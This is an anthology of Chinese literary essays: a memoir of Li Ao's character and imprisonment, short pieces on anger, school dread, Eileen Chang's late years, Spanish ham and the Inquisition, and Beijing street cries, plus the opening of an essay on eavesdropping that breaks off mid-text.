　　读李敖的人也是一样，一般人眼中的李敖是个顽皮的思想家，也是个玩世不恭的才子，他的四十六年几乎都表现了非常人的行径，做出了许多轰轰烈烈的事迹，其中有许多别人不能谅解的。他的生活简直变动太大，但是如果知道李敖，就会了解到他变中有常，有一个不变的理想。这个理想是“得志与民由之，不得志独行其道。……此之谓大丈夫”。但是我们只看到了独行其道的李敖，而没有看到与民由之的李敖。

　　李敖的独行其道，有一首他喜欢的王安石的诗可以形容：

　　飞来山上寻千塔，闻说鸡鸣见日升。

　　不畏浮云遮望眼，自缘身在最高层。

　　李敖的与民由之，我们可以在他十六年前《上下古今谈》的开场白里看到，他自称是自由中国最的“浪子”，然后说：

　　“所谓'浪子'(Bohemia)，我的意思是指十九世纪三十年代以后的巴黎文人。他们从穷困中开创新境界，对恶劣的环境不满意、不屈服、任凭社会对他排挤，让他'浪'迹天涯，他仍是要把他的热情和抱负投向社会。他不在乎人们要跟他'相忘于江湖'，人们可以忘掉他，让他流浪，但他去不忘掉人们。他要振聋发聩，要追吉不舍。最后他要成功，要把社会改造，把人们叫醒。这是他的真精神。”

　　事实上，浪子李敖有精神上冲突，他好几次说要到山上去隐居，好好写几部大作，可是当他看到人间不平的世相，又忍不住要横刀亮出他的肝胆，做“理在情不在”的批评。他一方面心中想着出世，做小乘；一方面又忍不住要入世，做大乘；其实他的理想是“以出世精神，做入世事业”——他所有的事端，所有的横逆都是因此而闯，他当然也有怨忿的时候，但是他很少后悔。在长夜的孤灯下念起李敖，我总觉得他或许说得有道理，他本应是五十年后才降世的人，却不幸早到了人间。

　　认识李敖是两年前的事，知道李敖却很早，十五年前我在一个民智未开的乡下读初中二年级，每天都被呆板的功课烦得不知如何是好。那时我有一个堂哥在中兴大学读企业管理，他是李敖最早期的崇拜者，每次放寒暑假回乡，行囊里总是带了几本《文星杂志》，闲暇的时候我就的拿出来翻翻，意深深被李敖的文章吸引，那时的小脑袋瓜子里就认为李敖是个言人所不敢言，怒人所不敢怒的人。

　　那是 1955 年左右，也是李敖的黄金时代，他几乎每写一篇文章就惹火了一些人，也唤起了更多的掌声，已经是个家喻户晓的人物了。后来他进了监狱，广义地说，差不多坐了七年牢，这是我到台北读书，有机会读到昔日的著作，更加深我能从他文章的表面，看到内部对整个民族文化的危言和忧心，当时只恨吾生也晚，不能认识李敖，甚至连他们有力的文化风潮都沾不上一点边。

　　直到李敖与胡茵梦谈恋爱，因为我的采访工作才认识了李敖，他的人和他的谈话都使我吃惊，因为第一次见面就长谈了四小时的李敖，竟不是过去我所知道的李敖。正如他写的《自画像的一章——文章·讲话·人》中说的：

　　不认识我的人，喜欢看我的文章。

　　认识我的人，喜欢听我的讲话。

　　了解我的人，喜欢我这个人。

　　我的做人比讲话好，我的讲话比我的文章好。光看我的文章，你一定以为我是一个穷凶极恶的家伙；可是听到我的讲话，你便会觉得我比文章可爱；等你对我有更深一层的了解，你更会惊讶：在李敖那张能说善道的刻薄嘴下三十二厘米处，还有着一颗多情而善良的心。

　　他说，在李敖的家门口应该钉一块牌子，上面写“内有恶犬，但不咬人”。

　　他从恋爱、结婚、打官司，一直到第二次入狱，我们几乎每星期都见面聊天，有时谈到天亮，一起窝着吃生力面。李敖本来没有理由浪费时间结交我这个后生小辈，但是他那样有耐心，总是告诉我一些为人处事和做学问的方法，而我从他那里学到最可贵的一点是勇气。这两年来，他要处理的事情太多了，遭遇的波折与打击也太多了，但是他总是保持着冷静，以极冷静、极精密的态度来处理许多琐琐碎碎的事情，他面对极大的压力，但从来没有退缩的神情，总是坦荡荡地迎上前去。

　　经过这么多事情的李敖，声名当然更响，虽然不一定是好的声名，本来敬佩他的人也纷纷动摇或误解。我就遇过许多这样的情形，在文艺界的聚会里，茶余饭后有许多人破口大骂李敖，这些人本来一提到李敖都会竖起大拇指的，后来竟也变成李敖压力的一部分，我若极力为他辩解，最后总是闹得不欢而散的下场——这些从未见过李敖的人，编出许多神话来侮蔑他。对于许多更年轻的人，李敖更不知道变成一个什么样的面目了？

　　因此，我觉得有必要翻开李敖的底牌，让我们看看李敖的样子，让我们通过时光的隧道，回到十六年前，看李敖为他自己写的简介：

　　李敖：

　　吉林省扶余县人，祖籍山东省潍县，远籍云南省。1935 年生于哈尔滨。

　　在北平读小学和初一（没念完），又在台中读初二到高三（没念完），又在台北读台大法学院（没念完），又读文学研究所（没念完）。

　　喜欢买书、抽烟、看电影、看女人（有时候不止于“看”）

　　著书七种：《传统下的独白》、《历史与人像》、《胡适研究》、《胡适评传》（第一册）、《为中国思想趋向求答案》、《文化论战丹火录》、《教育与脸谱》，皆台北文星书店出版。

　　现在身上一身是债、两眼近视、三餐很饱、四个官司。

　　本人面目：平凡；特征：没有；脾气：欠佳。

　　喜说笑话。

　　勾勒出这个简介时，李敖才三十岁，已经写出许多惊天动地、掷地有声的作品，这张脸谱是忠实的，从这里我们可以看出李敖在二十年前，虽因他的叛逆精神，没有拿过一张文凭，但已粗具了他成为思想家的雏形，也奠定了他对社会的理想。他认为世界上没有一个天生的理想社会，理想社会必须通过实验与改革，问题是中国背负了五千年的包袱，所以实验与改革更难，必须下猛药。

　　今年一月，李敖因工作过度，犯了胃出血的毛病，住在中心诊所一一○六号病房，我提水果去看他，他仍然精神焕发，笑着说：“没想到你也不能免俗，提水果干什么？”我看他精神好，自然很高兴，他拉开病床旁的抽屉给我看，说：“医生警告我不能工作，我还是偷偷地做剪报。”我们谈到十六年前他的简介，他开玩笑地说：“现在不一样了，现在是一身官司，两眼发直，三餐点滴，四面楚歌。”

　　后来又谈了很多生活琐事，他说刘会云又回到他身边来照顾他，显得很快活，谈到文章写作，他只把文章归为三个层次：

　　一、一时一地的层次

　　二、中国的层次

　　三、世界的层次

　　他说：“现在台湾的作家眼光均放在第二层次，实在眼光太小了，我们要创作出我们自己的，到世界去搞——光在小地方搞，又算什么！”

　　第二天我随美国国家地理杂志编辑到南部去采访，一路上都想着这个层次的问题，想到“眼光放远”，二十年前主张全盘西化的李敖，眼光确有独到之处，那时不知有多少人围攻他，骂他太保、流氓，甚至疯狗！可是二十年后的今天，形势比人强，李敖的许多论点都不幸应验！但是他为了坚持，也付出了不少代价，可见看得远和看得巧，都会使人变成孤独的强者，不免要忍受强者的孤独。

　　李敖确是个强者，他办到了许多我们在想象里都办不到的事。

　　他第一次坐牢的时候，就要求把自己关在“黑牢”里，所谓“黑牢”，是只有两坪大的房间，用来处罚那些在监狱里惹是生非的人，一般囚犯都怕去，因为在“黑牢”里没有同伴，没有光，没有谈话的对象，只能一个人孤单地沉思，李敖却自愿进去，并且一坐就是五年十个月。

　　在“黑牢”里的李敖什么都不做，他每天在牢内散步，因为牢实在太小，他只好走对角线，每天走两小时来维持身体健康。其余的时间，他只好沉思，思考中国政治、社会、经济、文化的许多问题，大大小小，前前后后都想过了。有时闷得无聊，一个茶杯就可以思考一天——这就是为什么他出狱后的文章写得比他入狱前更成熟、周延的原因。

　　后来有人问他怎么样保持青春（他看起来比实际年龄少十几岁），他常开玩笑说：“上帝很公平，坐牢的时间他没有算在内。”

　　牢里的后半期，他可以看书了，他在狱中读完了两套百科全书（大英、大美），还重读了一次二十五史，他不只是读，而是研究，有一次我翻他的大英百科全书，发现每一页都用蝇头小字写了密密麻麻的眉批和感想，这样的志注恐怕是人间少见。

　　今年二月二十六日，李敖刚被判了六个月徒刑定谳，他来我家吃晚餐，说到他怎么度过五年十个月的军法牢，他把自己的生活条件放在生物的最低层次，以维持一点点快乐的心情，他说：“在牢里，每星期一、三、五都是'放风'的时间，可以出来见阳光十分钟。每星期二理发，星期四会客，都可以出来一下，这是快乐的事。有时候坐着没事，突然从窗外飞进来一小片报纸，里面的字一看再看，觉得文字真可爱，都可以乐半天。我觉得我最快乐的时候不全在出狱后，有一些是在狱中。”

　　在牢里他还研究城市，伦敦、巴黎、纽约的街道结构，文化、艺术、社会、经济都能了如指掌，卧游天下，也是一乐。他说：“我这一次坐六个月，比起以前是小儿科。”

　　李敖的强不只表现在牢里，他出狱后住在金兰大厦，把自己封闭起来，在门旁边开了一个小洞，报纸、杂志、食物全从小洞里塞进来，他在里面工作，整理书籍和文稿，六个月不出门一步，不见任何访客，他称为“闭关”，企图弥补他和社会长久的隔离，他终于做到了。

　　他的意志和精神力之强，很少人可以做到，他本来抽烟、喝酒、喝咖啡，可是说戒就戒，一日就办到。他长期每天工作十六小时，从未间断，饿了只吃冷冻水饺和生力面，依靠的全是超强的意志力。

　　入狱前，他又闭关一次，不听电话，不见访客，自己锁在房间里一个月，为的是写他的《千秋评论丛书》，预计在牢里的半年，每个月出一本《千秋评论》集，他在一个月内写完了六本，并且自己设计、编排、做校对。这种超凡的力量，真是叫人吃惊。

　　他的强更表现在他不怕被误解，他说：“一个人只要知道他自己就好，别人了不了解都不重要。”

　　他是拼命在工作着，拼命地思考中国文化思想的问题，但是仍觉得时间不够。他早年爱看电影，现在也不看了，他说：“我不看现代小说和电影，觉得太浪费时间，我喜欢直接的东西，不爱拐弯抹角。”

　　去年十月二十七日，我们聊天到天亮，李敖谈到两个问题，显得有点激动，一个是伟大的人格典型已经没落。他说：“这年头缺少伟大的人格典型，像胡适、蔡元培、殷海光、傅斯年等人在中国已不可再得。也看不到有血有肉的好文章，到处充满蛋头学者。现代学者成名以后常常杂务太多，浪费许多时间，胡适晚年就受了杂务太多这害，而且胡适在写日记上花费太多的时间，写文章就少了，思想未能阐扬出来。因此，要现代中国有思想前途，必须产生几个伟大的人格典型，学者还需减少杂务，多写好文章。”

　　一个是只要维持自我人格就好，不管别人。他说：“印度圣雄甘地的太太偷人家东西；儿子叛教，从印度教叛到回教。林肯的儿子把母亲送进疯人院……许多圣人都有类似的事，可是不影响到他的人格。”

　　我想，少年时代的李敖，是曾经想建立一个伟大的人格典型，他也努力过，可惜社会和环境没有让他朝这条路走，反而逼他成为文化的顽童。他用美国劳工领袖戴布兹的话说：只要有下层阶级，我就同俦；只要有犯罪成分，我就同流；只要狱底有游魂，我就不自由。

　　我又想，历来中外古今伟大的人格典型都是出于不合作主义者，李敖二十年来惹了很多是非，但是到今天他还没有放弃伟大人格典型的理想，这是他真正强的地方。

　　许多人和我一样，都非常关心李敖的近况，关心他的第二次牢狱之灾，虽然甘地在牢里坐了两千三百三十八天，戴布兹被判了十年徒刑，最后才得洗刷。李敖也说：“有冤屈的人，必须有赖于'时间的因素'来辨冤白谤，当时没有反击能力的人，他必须设法长寿，练得比他的'敌人'活得更长久。这些话，说来好像笑谈，但笑谈之中，往往有不少白发和眼泪。”

　　李敖第二次坐监已经两个月了，可是没见过一个访客，连写《胡适杂忆》年高德劭的唐德刚先生远从美国到土城去看他，他都不见，我四处打听，没有人确知他到底过得怎么样。只知道他关在一个电梯大的小房子里，伙食还可以，每天还有书看。让我忍不住想到强者李敖理平头在那里来回走对角线的情景。

　　李敖是我尊敬的朋友，我觉得这样的朋友不可多得，总像在黑暗里点着一盏灯，让我们在受到挫折时想到他，就有勇气期待更好的天光。李敖曾在谈到坐牢的哲学时，引用过甘地的一句话：“朋友们不需要掂挂我。我觉得自己像一只快乐的小鸟，在这儿所能做的并不比外间少。我留居在此，对我有如入校。”他认为心灵自由的人，在牢里也能像快乐的小鸟，而在牢狱外的人，是很难想象的。让我们不必掂挂牢中的李敖，让我们欢迎他回来，为我们写几本巨著。

　　写到这里，我想起 1957 年李敖写的一首诗《我将归来开放》：

　　因为我从来是那样，

　　所以你以为我永远是那样。

　　可是这一回你错了，

　　我改变得令你难以想象。

　　坏的终能变得好，

　　弱的总会变得壮。

　　谁能想到丑陋的一个蛹，

　　却会变成翩翩的蝴蝶模样？

　　像一朵入夜的荷花，

　　像一只归巢的宿鸟，

　　或像一个隐居的老哲人，

　　我消逝了我所有锋芒与光亮。

　　漆黑的隧道终会凿穿，

　　千仞的高岗必被爬上，

　　当百花凋谢的日子，

　　我将归来开放！

不要中了愤怒的计

王玉红

　　在喜马拉雅山脚下，生活着一种大蜜蜂。它的个头比家养的蜜蜂大许多，是世界上最凶猛的蜜蜂之一。凡是见到大蜜蜂巨形蜂巢的人，无不感到一种强大的震撼。但有一种鸟却不怕它，这种鸟叫蜂虎。它是大蜜蜂的天敌，蜂虎捕食大蜜蜂并不偷袭，采取的是一种光明正大的方式。它用娇小的身躯快速地掠过大蜜蜂的蜂巢，小巧的翅膀轻轻地碰触一下蜂巢就马上离开，这是为了激怒大蜜蜂。碰一次，大蜜蜂不理睬，两次就不行了，大蜜蜂被激怒了，开始对蜂虎发起了疯狂地追击，蜂虎的速度比大蜜蜂快得多，慢慢地许多大蜜蜂被它抛在身后。单枪匹马追击的大蜜蜂很快失去了集群的攻击力，成了送到蜂虎嘴边的美餐。是什么杀死了让人闻风丧胆的大蜜蜂？蜂虎吗？不！是愤怒！

　　愤怒虽然只是一种情绪，却能抹杀我们心底的爱，让我们失去理智，让我们做出后悔终生的事情。看一则新闻，小夫妻因为生活琐事拌嘴，继而推搡，最后发展到打骂。男人被愤怒冲昏了头脑，用两手死死地掐住了女人的脖子，几分钟过后，女人死在亲爱的老公手里，男人锒铛入狱。无独有偶，一中年妇女和邻居闹别扭，邻居用极恶毒的语言骂她，甚至揭开了她往年的伤疤，她不胜羞辱，一怒之下从六楼一跃而下。愤怒，不仅给我们的生活带来了诸多不愉快，还制造了一场场的悲剧。

　　愤怒已经成为人类幸福生活的杀手。人的一生中，我们要想活得快乐、活得平安，就必须学会控制自己，不要中了愤怒的计。

　　《圣经》云：“不轻易发怒的，胜过勇士；治服己心的，强如取城。”发怒一分钟，我们就失去 60 秒的快乐。古时的寒山问拾得：世间有人谤我、欺我、辱我、笑我、轻我、贱我、恶我、骗我，我该怎么办呢？拾得答：你只要忍他、让他、由他、避他、耐他、敬他、不要理他，再过几年你且看他。的确，人世间的一切欺辱、嘲笑、失败都如过眼云烟，转瞬即逝，如果我们有一颗宽容的心，遇到这些问题，能平心静气地面对，不让愤怒冲昏自己的头脑，所有的困苦都会过去。到那个时候，一切欺辱、嘲笑、失败，就都会成为人生中最宝贵的财富。

我不想去上学了

奥尔罕 · 帕慕克

　　我不想去上学了，因为我太困、太冷了。学校里也没有人喜欢我。

　　我不想去上学了，因为学校里有两个同学，他们比我大，也比我强壮。每次我走到他们身边的时候他们都会伸出胳膊，挡住我的去路，我很害怕。

　　我很害怕，我不想去上学了。在学校，时间仿佛静止不动了，万事万物皆被挡在外面——校门之外。

　　比如我家的房间，还有我的母亲、父亲，我的玩具，阳台上的小鸟。我在学校的时候，就特别想念他们，想的要哭。我看着窗外，外面的天空飘着朵朵云彩。

　　我不想去上学了，那里没有我喜欢的任何东西。

　　有一天，我画了一棵树，老师说：“那可真是一棵树，画的真好。”我又画了一棵，同样没有叶子。

　　于是就有孩子跑过来取笑我。

　　我不想去上学了。晚上上床的时候，一想到第二天要去学校，我就感到恐惧。我说：“我不想去上学了。”家人就会反问；“你怎么能这么说呢？每个人都要去上学呢。”

　　每个人吗？那就让每个人去好了。我留在家里又会怎样呢？我昨天就去学校了，不是吗？那我明天不去，后天再去怎么样啊？

　　我只想待在我的床上，待在房间里，或是任何一个地方，只要不是学校就好。

　　我不想去上学了，我病了。你看不出来吗？只要有人一说“学校”这个词，我就感到恶心，会胃痛，连奶都喝不下。

　　我不想喝那瓶奶了，我不想吃任何东西，也不想去上学。我太难过了，没有人喜欢我。学校里还有那两个孩子，他们总是伸出胳膊挡我的路。

　　我去找过老师，老师说：“你跟着我干吗？”告诉你一件事情，但你要答应我不生气。我总是爱跟老师，老师则总会说：“不要跟着我。”

　　我不想去上学了，再也不想了。为什么？因为我就是不想去学校，这就是原因。

　　课间休息时，我不想走动。只有每个人都忘了我，才是我的休息时间。周围一片混乱，每个人都跑来跑去。

　　老师厌恶地看了我一眼，她看上去不太随和。我不想去学校了。学校里有个孩子比较喜欢我，他是唯一目光友善的人。但不要告诉别人啊，就连他我也不喜欢。

　　我坐着不动，独自待在那里。我感到那么孤单。泪水顺着我的脸颊流下来，我一点也不喜欢学校。

　　我不想去学校了，我说。可是到了早晨，他们又把我送到了学校，我直勾勾地望着前方，非但不笑，反倒想哭。

　　我朝山上走去，背着大大的书包，它像士兵的行囊一样大。爬山时，我看着自己的脚。一切都那么沉重：背上的书包，胃里热乎乎的奶。我想哭。

　　我走进学校。那扇黑色的大铁门在我身后关上。我哭了，“妈妈，你看呀，你把我丢在这里。”

　　我走进教室坐了下来。我真想变成外面的云彩。

　　橡皮、本子、钢笔：拿它们去喂鸡吧！

最好的时光

刘瑜

　　她怎么记得那么清楚呢？几十年前的细枝末节，金色阔条纹束发带，淡粉红薄呢旗袍，白帆布喇叭管长褂……她记得每一件衣服的颜色和布料，但是不记得那场轰轰烈烈的战争。那有什么奇怪呢，她是张爱玲。《小团圆》不好看，情节杂乱，语言急促。张爱玲写这个书，大约是想终老之前把这一生交待清楚，但是又缺乏交待的耐心。于是就像一个困极了的人，急着上床睡觉，把衣服匆匆褪在床边胡乱堆成一团。

　　缺乏耐心又实属自然。隔着大半生和千山万水，去回顾那个女人的小心动和更小的心碎，哪里是自己的前半生，简直是自己的前生，简直是别人的前生，简直是霸王别姬小乔初嫁孟姜女哭长城。大家看《小团圆》都是冲着盛九莉与邵之雍的爱情而去的，我当然也是。但是在很多人眼里的悲剧，在我眼里却是个喜剧。倒不是因为他们没有将爱情过渡到柴米油盐的生活所以可喜可贺，而是，看来看去，觉得基本可以确定：第一，她是真心爱过他的；第二，他也是真心爱过她的。就算是他在真心地爱着另外的她、她、她时，他也是同时真心地爱着她的；第三，他对她的爱以及她对他的爱，是建立在“懂得”的基础上的；第四，他们都是有内容因而值得被“懂得”的人。有了这四条，一个人就已经很幸运了。这样大的宇宙，这样漫长的时光隧道，造物主让两个人这样相遇，他们真的已经是万幸了。

　　如果他能只爱她并且厮守终生，也许更好，但也未必。和“金色的永生”比，短短一生算什么呢？如果我们不用斤来衡量芭蕾舞、用米来描述莫扎特，又怎能用一生、半生、九又三分之一生来衡量爱的质地。

　　相对于这本小说本身，我更好奇的是张爱玲写这本小说时的状态。张动手写这本书时已经 55 岁，后来搁置许久，再动手改时，已是 73 岁。对我来说，一个干瘪苍白、戴假发、穿一次性拖鞋、只吃罐头食品的老太太，坐在洛杉矶公寓的一堆纸箱子前，写 40 年代沦陷上海一个女孩细细密密的小心事，这个画面比这个女孩的小心事本身要有冲击力多了。一个困扰我很久的问题是，张爱玲晚年为什么不自杀？60 年代末其第二任丈夫去世后，张爱玲就过上了完全离群索居的生活。她昼伏夜出，家里几乎没有任何家具，有人来访不开门，访大陆访台湾机会一概拒绝。后未还染上了“恐虱症”，总觉得有虫子骚扰，隔三差五搬家。有个狂热粉丝为了刺探她的生活，偷偷搬到她家对面作邻居，一个月只见她出门扔垃圾一次，而且在得知该邻居是个粉丝之后，张爱玲立刻搬家离开。

　　那么，从 70 年代初到 90 年代中，几乎四分之一个世纪里，她每天一个人在空荡荡的公寓里，都在做什么呢？一个幽灵在四面白墙之间飘来飘去，瞪着时间一点一点蛀空自己。张爱玲的作品里对自己的晚年生活几乎毫无涉及，那么，不值得书写的生活值得度过吗？真的，不值得书写的生活值得度过吗？对于别人来说这也许不是一个问题，但她是张爱玲。她曾经那么热衷于表达，她还那么骄傲，而无动于衷被死亡的纤绳一点一点拽上岸，又是多么不骄傲的一个状态。

　　好在她还有回忆。张爱玲 10 岁时在期盼爱，20 岁时在书写爱，40 岁时在放弃爱，60 岁时在整理爱……短短三五年的爱情，这样细水长流地被思量、被咀嚼、被雕刻，好比写一本书，前言花去 20 年，后序花去 50 年，最厚重的却仍是青春那三五年。也许晚年张爱玲不需要生活，就是因为她曾经拥有的不可超越，与其用力不从心的文字去冲淡曾经的光芒，不如用沉默来守护它。从这个角度来说，张爱玲晚年的少产和她早期的多产一样是因为骄傲。

　　这个说法当然令人伤感。如果人生只是弹指一挥间，那青春是什么呢？能发生的已经发生，尚未发生的将永远不会发生。青春多么短暂，青春多么漫长。它是梦中的一个抚摸，你醒在它的温暖里，却不知其去向。据说张爱玲临死前知道自己不行了，她把自己收拾干净，还穿上了红旗袍，整整齐齐地躺在床上。也许因为她曾经拥有过“金色的永生”，才能死得如此安详。如此安详，合上书，真的觉得结局其实是个团圆。

一片考验良心的火腿

梁文道

　　西班牙名城格拉纳达的穆斯林越来越多，可见的证据之一是一条原来挂满火腿的商店街换了模样，变成一堆悬上“清真”（halal）招牌的羊肉店。很多西班牙人看不过去了，他们觉得这是入侵。有些组织甚至声称，再过三十年，欧洲人的血统体相必将大变，我们熟悉的白种人渐成少数，头缠白巾的穆斯林将成主流。“因为，”他们说，“欧洲人不生孩子了，而中东和北非的移民却拼命生。”

　　不吃猪肉的西班牙人还算是西班牙人吗？去过西班牙的游客都知道，当地最特殊的风景就是那些火腿店，店内上下吊满了肥嘟嘟的火腿，门外一阵咸香芬芳；别的国家就算有，也不如西班牙壮观。没去过西班牙的，也能在西班牙餐馆里认识他们对猪的崇拜。拿起一张餐牌，你不妨想象一下，要是去掉了猪肉，这上头还能剩下多少成东西？

　　可是，那一盘盘脂白胜雪的火腿，与一盘盘赤红如火的煎香肠，其实是一种掩盖。它们掩盖了你的口舌，你的嗅觉，甚至你的双眼，使你对一些鲜明的遗迹视而不见。比如西班牙南部的格拉纳达，那里有一座红色的城堡，阿尔罕布拉（Alhambra），依山势起伏，璀璨而神秘。又如科尔多瓦的大清真寺，一千根镶了碧玉的大理石及花岗石柱，拱起半圆形的几何图形，重重叠叠如无量的宇宙。再如狮子园，宁静的庭院里只听得见喷泉的潺潺水声，与阳光一起流进幽深的内堂。这是什么？这一切意味着什么？这是被忘记了的伊斯兰欧洲，摩尔人的伟大遗产。

　　从公元 8 世纪到 15 世纪，西班牙大部都是伊斯兰帝国的辖土。来自北非的统治者不只改变了建筑的风貌，还改变了人民的信仰。他们引进大米，使我们吃到闻名遐迩的西班牙海鲜饭；他们还带来了杏仁（almendra，本来就是西班牙文）和橘子；以及弗拉门戈音乐的前身。那是伊斯兰文明的鼎盛时代，他们迷恋艺术的美好、知识的奥秘，把科尔多瓦建成欧洲的文化中心。相比之下，从意大利到英国的这一大片区域简直像是住满了蛮人的莽原。所有在西欧被禁绝的古希腊典籍，你都能在这里的图书馆的四十万册藏书中找到；所以连教皇西尔维斯特二世在他年轻的时候也要专程到此学习。对了，这个伊斯兰帝国和西欧不同，他们容许“异教徒”存在。

　　再巍峨的楼阁也有倾颓的一天。1492 年，信奉天主教的联军终于攻入格拉纳达，逐出最后的摩尔人，“收复”了西班牙，也“收复”了他们的信仰。然后，以残忍和严酷知名的“宗教法庭”在西班牙出现了，他们用斩首和绞刑对付“异教徒”，誓要抹除这片土地上一切不净的痕迹，让人以为欧洲从来都是他们的。

　　问题是，你要怎么找出那些假装归信天主教，暗地里却还在向安拉忏悔的隐匿叛徒？结果当局想出了一个狠辣的方法，就是逼迫所有可疑的人吃猪肉。不论是朋友宴客，还是婚礼喜酒，第一道菜一定是一碟切好的猪肉片；只要看到谁不敢取食，又或者在吃的时候忍不住露出厌恶的神色，你就该向法庭举报，供出躲藏在人群中的穆斯林。为了表示自己的清白，许多商人和家庭索性在门口的屋檐上悬挂火腿，证明自己绝对不是伊斯兰教徒……

吆喝

萧乾

　　一位二十年代在北京作寓公的英国诗人奥斯伯特。斯提维尔写过一篇《北京的声与色》，把当时走街串巷的小贩用以招徕顾客而做出的种种音响形容成街头管弦乐队，并还分别列举了哪是管乐、弦乐和打击乐器。他特别喜欢听串街的理发师（“剃头的”）手里那把钳形铁铉。用铁板从中间一抽，就会呲啦一声发出带点颤巍的金属声响，认为很像西洋乐师们用的定音叉。此外，布贩子手里的拨啷鼓和珠宝玉石收购商打的小鼓，也都给他以快感。当然还有磨剪子磨刀的吹的长号。他惊奇的是，每一乐器，各代表一种行当。而坐在家里的主妇一听，就准知道街上过的什么商贩。最近北京人民广播电台还广播了阿隆·阿甫夏洛穆夫以北京胡同音响为主题的交响诗，很有味道。

　　囿于语言的隔阂，洋人只能欣赏器乐。其实，更值得一提的是声乐部分——就是北京街头各种商贩的叫卖。

　　听过相声《卖布头》或《改行》的，都不免会佩服当年那些叫卖者的本事。得气力足，嗓子脆，口齿伶俐，咬字清楚，还要会现编词儿，脑子快，能随机应变。

　　我小时候，一年四季不论刮风下雨，胡同里从早到晚叫卖声没个停。

　　大清早过卖早点的：大米粥呀，油炸果（鬼）的。然后是卖青菜和卖花儿的，讲究把挑子上的货品一样不漏地都唱出来，用一副好嗓子招徕顾客。白天就更热闹了，就像把百货商店和修理行业都拆开来，一样样地在你门前展销。到了夜晚的叫卖声也十分精彩。

　　“馄饨喂——开锅！”这是特别给开夜车的或赌家们备下的夜宵，就像南方的汤圆。在北京，都说“剃头的挑子，一头热。”其实，馄饨挑子也一样。一头儿是一串小抽屉，里头放着各种半制成的原料：皮儿、馅儿和佐料儿，另一头是一口汤锅。火门一打，锅里的水就沸腾起来。馄饨不但当面煮，还讲究现吃现包。讲究皮要薄，馅儿要大。

　　从吆喝来说，我更喜欢卖硬面饽饽的：声音厚实，词儿朴素，就一声“硬面——饽饽”，光宣布卖的是什么，一点也不吹嘘什么。

　　可夜晚过的，并不都是卖吃食的，还有唱话匣子的。大冷天，背了一具沉甸甸的留声机和半箱唱片。唱的多半是京剧或大鼓。我也听过一张不说不唱的叫“洋人哈哈笑”，一张片子从头笑到尾。我心想，多累人啊！我最讨厌胜利公司那个商标了：一只狗蹲坐在大喇叭前头，支棱着耳朵在听唱片。那简直是骂人。

　　那时夜里还经常过敲小钹的盲人，大概那也属于打击乐吧。“算灵卦！”我心想：“怎么不先替你自己算算！”还有过乞丐。至今我还记得一个乞丐叫得多么凄厉动人。他几乎全部用颤音。先挑高了嗓子喊“行好的——老爷——太（哎）太”，过好一会儿，（好像饿得接不上气儿啦。）才接下去用低音喊：“有那剩饭——剩菜——赏我点儿吃吧！”

　　四季叫卖的货色自然都不同。春天一到，卖大小金鱼儿的就该出来了，我对卖蛤蟆骨朵儿（未成形的幼蛙）最有好感，一是我买得起，花上一个制钱，就往碗里捞上十来只；二是玩够了还能吞下去。我一直奇怪它们怎么没在我肚子里变成青蛙！一到夏天，西瓜和碎冰制成的雪花酪就上市了。秋天该卖“树熟的秋海棠”了。卖柿子的吆喝有简繁两种。简的只一声“喝了蜜的大柿子”。其实满够了。可那时小贩都想卖弄一下嗓门儿，所以有的卖柿子的不但词儿编得热闹，还卖弄一通唱腔。最起码也得像歌剧里那种半说半唱的道白。一到冬天，“葫芦儿——刚蘸得”就出场了。那时，北京比现下冷多了。我上学时鼻涕眼泪总冻成冰。只要兜里还有个制钱，一听“烤白薯哇真热乎”，就非买上一块不可。一路上既可以把那烫手的白薯揣在袖筒里取暖，到学校还可以拿出来大嚼一通。

　　叫卖实际上就是一种口头广告，所以也得变着法儿吸引顾客。比如卖一种用秫秸秆制成的玩具，就吆喝：“小玩艺儿赛活的。”有的吆喝告诉你制作的过程，如城厢里常卖的一种近似烧卖的吃食，就介绍得十分全面：“蒸而又炸呀，油儿又白搭。面的包儿来，西葫芦的馅儿啊，蒸而又炸。”也有简单些的，如“卤煮喂，炸豆腐哟”。有的借甲物形容乙物，如“栗子味儿的白薯”或“萝卜赛过梨”。“葫芦儿——冰塔儿”既简洁又生动，两个字就把葫芦（不管是山楂、荸荠还是山药豆的）形容得晶莹可人。卖山里红（山楂）的靠戏剧性来吸引人，“就剩两挂啦”。其实，他身上挂满了那用绳串起的紫红色果子。

　　有的小贩吆喝起来声音细而高，有的低而深沉。我怕听那种忽高忽低的，也许由于小时人家告诉我卖荷叶糕的是“拍花子的”拐卖儿童的，我特别害怕。他先尖声尖气地喊一声“一包糖来”，然后放低至少八度，来一声“荷叶糕”。这么叫法的还有个卖荞麦皮的。有一回他在我身后“哟”了一声，把我吓了个马趴。等我站起身来，他才用深厚的男低音唱出“荞麦皮耶”。

　　特别出色的是那种合辙押韵的吆喝。我在小说《邓山东》里写的那个卖炸食的确有其人，至于他替学生挨打，那纯是我瞎编的。有个卖萝卜的这么吆喝：“又不糠来又不辣，两捆萝卜一个大。”“大”就是一个铜板。甚至有的乞丐也油嘴滑舌地编起快板：“老太太（那个）真行好，给个饽饽吃不了。东屋里瞧（那么）西屋里看，没有饽饽赏碗饭。”

　　现在北京城倒还剩一种吆喝，就是“冰棍儿——三分啦”。语气间像是五分的减成三分了。其实就是三分一根儿。可见这种带戏剧性的叫卖艺术并没失传。

　　选自《北京城杂忆》

偷听谈话的妙趣

海厄特

　　通常，人们都喜欢到陌生的城市中漫游闲逛。我本人最喜欢的城市是巴黎，其次是旧金山，如果仅就其优越的地理位置而言。有些人则爱在自己家乡的城镇中涉足他们尚不熟悉的城区，虽然这种人并不多见。我曾有一两次东游西逛，走遍了曼哈顿的大街小巷，路上时常见到一些稀奇古怪、妙趣横生的景象。我看见一家出售春药和魔术器械的店铺，一个专门调查不明飞行物的组织的总部，以及一些阿尔巴尼亚杂货店和小餐馆。悠哉游哉，信步徜徉，真是一个消磨时光的好方式。

　　但是，你日复一日，走的都是那几条街，搭地铁上班，出办公室到餐馆吃午饭，吃过饭上银行，又回到办公室，最后离开办公室搭地铁回家……你会怎么办？假如你不在乎多花几分钟，倒不妨试着把路线每天改变一下：今天迂回曲折，明天绕大弯。可是，人们大都喜欢选择两点之间最短的路线，结果的情形是，男人看姑娘，姑娘看姑娘，人人都看橱窗。间或出现一两个奇装异服、行为怪癖的人，像《蝙蝠》剧中法尔克博士那样 ——法尔克博士扮成一个硕大无朋的蝙蝠，舞会后，在光天化日之下走过大街回家——“使所有街头顽童大为开心”。

